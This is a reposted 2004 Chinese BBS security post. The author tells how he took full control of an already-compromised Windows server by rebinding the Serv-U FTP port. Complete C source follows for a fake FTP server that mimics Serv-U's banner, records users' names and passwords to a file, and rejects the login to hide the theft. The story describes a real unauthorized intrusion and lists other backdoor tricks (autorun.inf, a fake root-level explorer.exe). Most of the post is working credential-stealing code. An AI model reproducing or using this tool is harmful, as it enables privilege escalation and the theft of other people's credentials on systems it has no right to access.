荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: GyeaonWoo (醉了的小蜗牛), 信区: Security
标  题: 利用ftp服务程序本身设计的"缺陷"取得最高权限[转载]
发信站: 荔园晨风BBS站 (Sun Feb 22 15:07:19 2004), 站内信件

利用ftp服务程序本身设计的"缺陷"取得最高权限

创建时间:2004-01-10
文章属性:转载
文章提交:minibee (minibee_at_21cn.com)

标题: 利用ftp服务程序本身设计的"缺陷"取得最高权限
内容:
一台虚拟主机,NTFS文件系统,主机主要运行的服务为IIS和Serv-U.已经通过允许上
传asp文件并执行那些as文件的问题得到了一般的user权限.由于管理员对目录的设
置比较安全,只有C盘的根目录具有写权限,其它目录都只有读的权限.由于配置的安
全性,用自己的后门程序替换掉服务启动的程序那一招已经不灵了,向Serv-U的配置
文件加入一个有执行权限的帐户这一招也行不通了.入侵的那位朋友已经试过多种
方法,没有一个可行的方法,于是他将这台入侵了一小半的系统pass给了我,看我有
没有方法解决.
(这位朋友一天除了吃饭和睡觉外,就在对着电脑到处找新漏洞入侵系统,经常有些
稀奇古怪的系统给我看)

解决方案是从serv-u那里想办法,因为那位朋友也试过好几种方法了,那些方法
1.上传个autorun.inf和后门上去硬盘根目录,(如果系统允许autorun的话,管理员
看根目录时就会执行autorun.inf里定义的程序)
2.上传后门到硬盘根目录,改名为explorer.exe(很久的东西,windows搜索文件时是
先从根目录先搜起的,如果在根目录先搜到,就执行那个文件.如果系统还存在这问
题,如果管理员双击"我的电脑",就会执行了根目录下的那个后门的explorer.
exe)
3.还有其它他想到的古怪方!
法都试过了,一样是没办法得到最高权限

系统应该已经打上最新的补丁了,用多个扫描器扫描iis也没有发现到什么漏洞,而
且基本就是iis和serv-u这两个服务可利用,iis是没办法的了,只有从serv-u中下手
.

系统中已运行一个user权限启动的小后门,只是得到个user限的shell.进去后查看
了一下系统的配置和安装了的程序等等,发现了也只能在Serv-U那里动手脚了.
Serv-U是4.1版本的,里面有5个帐号,有两个帐号的是有写权限的,并且root目录是
在c:\下(通过查看serv-u的那个ini配置文件得知帐户的信息) ,如果能拿到其中一
个帐号的密码,我们就具有写权限了.关键是如何得到那两个帐号的密码.

有人会想到破密码,这里最原始而且是在没有任何办法时才会试的办法,当然你不要
期待有什么高的成功机会了,大家都应该Serv-u的帐号的密码是用什么算法加密的
了,而且也应该知道那种加密算法用最快的破解程序,如果要穷举一个只是8位长度
的密码是需要多长时间的.所以不要先想着破密码了.

要得到登陆serv-u的用户的密码,有人想到嗅探的方法,这当然是一个好方法,不过
得先想想自己所处的权限(只是一般的user权限),根本不足以执行绑入网卡进行的
无驱动的的嗅探程序(已测试过,证!
实不行的了) .

嗅探不行,突然想到shatter attack(有兴趣的朋友可以看
http://security.tombom.co.uk/shatter.html ),但看到
了"Any application on a given desktop can send a message to any window
on the same desktop"这句, 我是从命令行进去用user权限运行的一个shell,似乎
没有处于任何桌面,所以应该不能将信息发到serv-u的tray monitor中去.在测试前
我先发了信到serv-u的help center中询问,主要是询问serv-u的4.1版本是否可以
受shatter attack所影响, 收到的回复是4.1版本不会接收以不同权限发过来的信
息,serv-u的tray monitor是登陆的管理员权限执行的,而我只是user权限,这已经
很清楚说明了是不可能的,而且我也从来没有研究和测试过shatter attack,
所以还是先放弃了.

想来想去都没想到什么好的方法,已经打算不想的了,但在洗澡时却突然想到
serv-u打开的端口是允许重绑的(不知道是什么原因,很多好的idea都是在洗澡时想
到的,包括很多编程时遇到的问题有时都是在洗澡时想到解决方法的) .能够重绑端
口,这样我就可以写一个程序,绑入serv-u打开的端口,那么连接到serv-u端口的验
证信息就会被我的程序所得到,这样就有可能得到我所需要的帐号的用户名和密码
了. 当然这个程序要"扮"得!
很像serv-u,例如收到连接时发送的是serv-u的正确banner,连接用户发送了用户名
来时,程序也要象serv-u那样发个"331 User name okay, need password."的信息
要求输出密码, 当用户输出密码后,程序就给连接者发送一个信息,大致是说连接者
的IP是不允许登陆的,然后就断开连接者. 为了不被管理员察觉到问题,程序在得到
那两个有用的帐号的其中一个的密码后,就会从内存中退出,这样原来的serv-u就能
继续正常的工作,当然程序在退出前会将得到的帐号和密码发到我的hotmail的信箱
中去.为了保险点,将帐号和密码备份写入到硬盘的一个文件中去(以防hotmail的服
务有时中断无法接到邮件).

写到这里,剩下的问题就是写出那个程序了,那不算是什么困难的程序,因为各个部
分的东西都曾经写过,所以写出来后测试了一下就能投入工作了.程序在那系统中运
行了,我就打开了msn等着接信了.大约是半天时间左右吧,就得到了想要的帐号和密
码了. 有了这个帐号,我就能登陆进那个serv-u中修改serv-u的配置,加个有执行权
限的帐号,然后用这个新加的帐号就能上传任何后门或者其它东西上去那系统中运
行了.到了这里,系统的最高权限已经到手了.

结语:
能够成功得到最高权限,这是由!
两个"缺陷"所造成的.
1.serv-u本身打开的端口允许重绑(说是
缺陷其实有点过份,因为serv-u的设计者没有想到你的系统会被人入侵到的).我也
发信到serv-u中说明了一下这问题,希望serv-u新的版本打开的端口不允许被其它
程序所重绑(其实只是多加一行代码就行了)
2.user权限下也可以重绑入其它以服务身份(local system)启动的程序的端口(说
是缺陷也是有点过份) .
3.其它的ftp服务程序也有可能存在这个被重绑端口后登录者的帐号和密码被窃取
的问题存在,而且其它的应用程序如果端口允许被重绑的话,也存在这种问题,只是
视乎传输的信息是否明文还是被强度的算法加密过而已.端口被重绑后产生的问题
是存在已久的了,所以我不会说是我发现的,这个文章也只是随便举了一个由于端口
被重绑后产生的严重后果的例子罢了.

后面所跟的程序代码,我是去掉了将帐号和密码发送到邮箱的功能的,只是将信息保
存到LogFile.Dat这文件中去,这是由于这类代码不会有什么人是利用来做好事的,
所以在线通知也就删除了比较好.

[php]
//**********************************************************************
******************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Hijack FTP Se!
ver's Open Port And Steal The Connector's UserName And Pass
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
// Compiled On: VC++ 6.0
// Others: This Code Is Only To Demonstrate The Danger Of An Application
 Allowing Its
//         Communication Port To Be Re-Binded(Hijack In Other Word).
//         If Your Box Is In A Lan,Don't Test It On Your Only Box
Since It May Not Work
//**********************************************************************
******************
#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib,"wsock32.lib")

SOCKET ListenSocket = INVALID_SOCKET;
static CRITICAL_SECTIONcs;
const  char *LogFile = "c:\\LogFile.Dat";

// Function ProtoType Declaration
//----------------------------------------------------------------------
---------------------------!
-----
BOOL  StartHijack(const char *IPToBind,cons!
t char *
Port);
BOOL  IsDigits(const char *String);
BOOL  InitSocket();
BOOL  CreateSocket(const char *IPToBind,const UINT ListenPort);
BOOL  HandleFTPRequest();
BOOL  SaveInfo(const char *FileName,const char *Info);
BOOL  SendSocket(const SOCKET ClientSocket,const char *Message);
BOOL  ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,
const int nSize);
DWORD WINAPI FTPThread(LPVOID Para);
BOOL  RetrieveFTPUserAndPass(const SOCKET ClientSocket);
//----------------------------------------------------------------------
--------------------------------
// End Of Fucntion ProtoType Declaration

int main(int argc,char *argv[])
{
if (argc != 3)// Not Enough Parameters
{
// Show The Usage And Example,Then Exit The Program
printf("Usage:   %s BindedIP ListenPort\n",argv[0]);
printf("Example: %s 192.168.0.1 21\n&qu!
ot;,argv[0]);
return 0;
}

InitializeCriticalSection(&cs);
StartHijack(argv[1],argv[2]);// We Are About to Hijack The Port
DeleteCriticalSection(&cs);
return 0;
}

//----------------------------------------------------------------------
----------------------
// Purpose: To Create A Listening Socket
// Return Type: BOOLEAN
// Parameters:
//           In: char UINT ListenPort   --> The Listening Port
//----------------------------------------------------------------------
----------------------
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
{
struct sockaddr_in Client;

ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);// Create
Socket

if (ListenSocket == INVALID_SOCKET)// Fail To Create Socket
{
printf("Fail To Create Socket\n");
return FALSE;
}

memset(&Client, 0, sizeof(Clie!
nt));
Client.sin_family = AF_INET;
Client.sin_port = h!
tons(Lis
tenPort);
Client.sin_addr.s_addr = inet_addr(IPToBind);

// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other
word)
BOOL bReUser = TRUE;
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,
sizeof(bReUser)) != 0)
{
closesocket(ListenSocket);
printf("Fail To Hijack The Port\n");
return FALSE;
}

// Bind Socket
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client))
== INVALID_SOCKET)
{
closesocket(ListenSocket);
printf("Fail To Bind Port\n");
return FALSE;
}

// Listen On The Port
if (listen(ListenSocket,5) == INVALID_SOCKET)
{
  closesocket(ListenSocket);
     return FALSE;
}

return TRUE;
}// End Of CreateSocket()


//----------------------------------------------------------------------
----------------------
// Purpose: To Check The Parameters And Start To Hijack<b!
r>// Return Type: BOOLEAN
// Parameters:
//           In: const char *Port     --> The Listening Port
//----------------------------------------------------------------------
----------------------
BOOL StartHijack(const char *IPToBind,const char *Port)
{
if (!InitSocket())// Init Socket
{
printf("Fail To Init Socket\n");
return FALSE;
}
if (!IsDigits(Port))// Check Whether It's Invalid Port
{
printf("Invalid Listen Port\n");
return FALSE;
}

UINT ListenPort = atoi(Port);// Get The Port
if (ListenPort <= 0 ││ ListenPort > 65535)
{
printf("The Listen Port Is Out Of Bound\n");
return FALSE;
}

if (!CreateSocket(IPToBind,ListenPort))// Create A TCP Listening
Socket
{
printf("Fail To Create Socket\n");
return FALSE;
}

return HandleFTPRequest()!
;
}// End Of StartHijack()

// No Need To Comment
!
BOOL Ini
tSocket()
{
WSADATA data;
WORD ver;

ver = MAKEWORD(2,2);
return (WSAStartup(ver, &data) == 0);
}// End Of InitSocket()

//----------------------------------------------------------------------
----------------------
// Purpose: To Send Buffer Through Socket
// Return Type: BOOLEAN
// Parameters:
//           In: const SOCKET ClientSocket     --> The Client
Connected Socket
//----------------------------------------------------------------------
----------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR);
}// End Of SendSocket()

//----------------------------------------------------------------------
----------------------
// Purpose: To Send FTP Banner To The Client
// Return Type: BOOLEAN
// Parameters:
// !
;          In: const SOCKET ClientSocket     --> The Client Connected
Socket
//----------------------------------------------------------------------
----------------------
BOOL SendFTPBanner(const SOCKET ClientSocket)
{
char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready..
.\r\n";
return SendSocket(ClientSocket,SendWelcomeInfo);
}// End Of SendFTPBanner()

//----------------------------------------------------------------------
----------------------
// Purpose: To Receive Buffer From Socket
// Return Type: BOOLEAN
// Parameters:
//           In: const SOCKET ClientSocket     --> The Client
Connected Socket
//           In: const int nSize             !
;  --> The SocketBuffer's Size
//   &nb!
sp;
;     Out: char  *SocketBuffer           --> Buffer To Receive Data
//----------------------------------------------------------------------
----------------------
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,
const int nSize)
{
return (recv(ClientSocket,SocketBuffer,nSize,0) > 0);
}// End Of ReceiveSocketBuffer()

//----------------------------------------------------------------------
----------------------
// Purpose: To Check Whether A String Only Contains Digits
// Return Type: BOOLEAN
// Parameters:
//           In: const char *String     --> The String To Be Checked
//----------------------------------------------------------------------
----------------------
BOOL IsDigits(const char *String)
{
UINT i = 0;
UINT StringLength = strlen!
(String);

for (i = 0;i < StringLength;i++)
{
if (String[i] < 48 ││ String[i] > 57)
{
return FALSE;
}
}
return TRUE;
}// End Of IsDigits()

//----------------------------------------------------------------------
----------------------
// Purpose: To Save Information Into A File
// Return Type: BOOLEAN
// Parameters:
//           In: const char *FileName     --> File To Store
Information
//           In: const char *Info         --> Information To Be Stored
Into File
//----------------------------------------------------------------------
----------------------
BOOL SaveInfo(const char *FileName,const char *Info)
{
HANDLE hFile = NULL;
DWORD dwBytes = 0 ;
BOOL Flag = FALSE;

// Open A File For Writing
hFile = !
CreateFile(FileName,
      &n!
bsp;&nbs
p;            GENERIC_READ│GENERIC_WRITE,
                    FILE_SHARE_WRITE,
                    NULL,
                    OPEN_ALWAYS,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL
                   );

if (hFile == INVALID_HANDLE_VALUE)// Fail To Open That File,Something
Must Be Wrong!

{
return FALSE;
}
SetFilePointer(hFile,0,NULL,FILE_END);// Set The File Pointer To The
File End
Flag = WriteFile(hFile,Info,strlen(Info),&dwBytes,NULL);// Write
Information Into That File
CloseHandle(hFile);// Close File Handle
return Flag;// Return The WriteFile Status
}// End Of SaveInfo()

//----------------------------------------------------------------------
----------------------
// Purpose: To Remove An Ending Enter From A String
// Return Type: BOOLEAN
// Parameters:
//           In: char *String     --> String To Be Modified
//----------------------------------------------------------------------
----------------------
BOOL DeleteEnter(char *String)
{
UINT Length = strlen(String);
if (String[Length - 2] == '\r' ││ String[Length - 2] == '\n')
{
String[Length - 2] = '\0';
}
else
{
if (String[Leng!
th - 1] == '\r' ││ String[Length - 1] == '\n')
{
Str!
ing[Leng
th - 1] = '\0';
}
}
return TRUE;
}// End Of DeleteEnter()

//----------------------------------------------------------------------
----------------------
// Purpose: To Handle FTP Request
// Return Type: BOOLEAN
// Parameters:  NONE
//----------------------------------------------------------------------
----------------------
BOOL HandleFTPRequest()
{
DWORD dwThreadID;
SOCKET AcceptSocket = INVALID_SOCKET;
SOCKET *CloneSocket = NULL;

while(TRUE)
{
SOCKADDR_IN client;
     int nSize = sizeof(client);
AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize);

if (AcceptSocket == INVALID_SOCKET)// Something Is Wrong About The
Socket
{
break;// Get To Leave
}

CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket));// Allocate For
Socket Ram
if (CloneSocket == NULL)// Not Enough Ram,Very Rare Situation
{
closesocket(AcceptSocket);// !
Close That Connection
continue;
}

*CloneSocket = AcceptSocket;// Make A Copy Of Accpet Socket
HANDLE hThread = CreateThread (NULL,0,
(LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID);//
Create A Thread
if (hThread != NULL)
{
CloseHandle(hThread);
}
}
closesocket(ListenSocket);
return TRUE;
}// End Of HandleFPRequest()

//----------------------------------------------------------------------
----------------------
// Purpose: To Steal The FTP UserName And Password
// Return Type: BOOLEAN
// Parameters:
//            In: const SOCKET ClientSocket  --> The Connector's
Socket
//----------------------------------------------------------------------
----------------------
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket)
{
const char *UserOK = "331 User name okay, need password.\r\n";
char !
Buffer[MAX_PATH];

memset(Buffer,0,sizeof(Buffer));
!

if
(!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))// Fail To
Receive UserName
{
return FALSE;
}

if (strnicmp(Buffer,"USER", 4) == 0)// We Get The UserName, Store It
Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,
"-----------------------------------------------------------------------
----\r\n");
SaveInfo(LogFile,Buffer);
     LeaveCriticalSection(&cs);
}
else// Unknows Command Received
{
return FALSE;
}

if (!SendSocket(ClientSocket,UserOK))// Fail To Send Information
{
return FALSE;
}

memset(Buffer,0,MAX_PATH);
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))// Fail
To Receive Password
{
return FALSE;
}

if (strnicmp(Buffer,"PASS", 4) == 0)// We Get The Password, Store It
Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,Buffer);
SaveInfo(LogFile,"--------------!
-------------------------------------------------------------\r\n\r\n");

     LeaveCriticalSection(&cs);
}
else// Unknows Command Received
{
return FALSE;
}
return TRUE;
}// End Of RetrieveFTPUserAndPass()

//----------------------------------------------------------------------
----------------------
// Purpose: To Handle The Connector's Request
// Return Type: DWORD
// Parameters:
//            In: LPVOID Para  --> The Connector's Socket
//----------------------------------------------------------------------
----------------------
DWORD WINAPI FTPThread(LPVOID Para)
{
SOCKET ClientSocket = (*(SOCKET *)Para);// Retrieve The Socket
free(Para);// Free The Allocated Ram

if (!SendFTPBanner(ClientSocket))// Fail To Send FTP Banner
{
closesocket(ClientSocket);// Close The Connection
return 1!
;
}

RetrieveFTPUserAndPass(ClientSocket);// Get Th!
e Connec
tor's UserName and Password
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address.
\r\n");// Cheat The Connector By Sending This
closesocket(ClientSocket);// Disconnect The Connector
return 0;
}// End Of FTPThread()
// End Of File
[/php]


--
……
…………
沿址查无此人

※ 修改:·GyeaonWoo 於 Feb 22 15:10:20 修改本文·[FROM: 192.168.36.101]
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.101]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店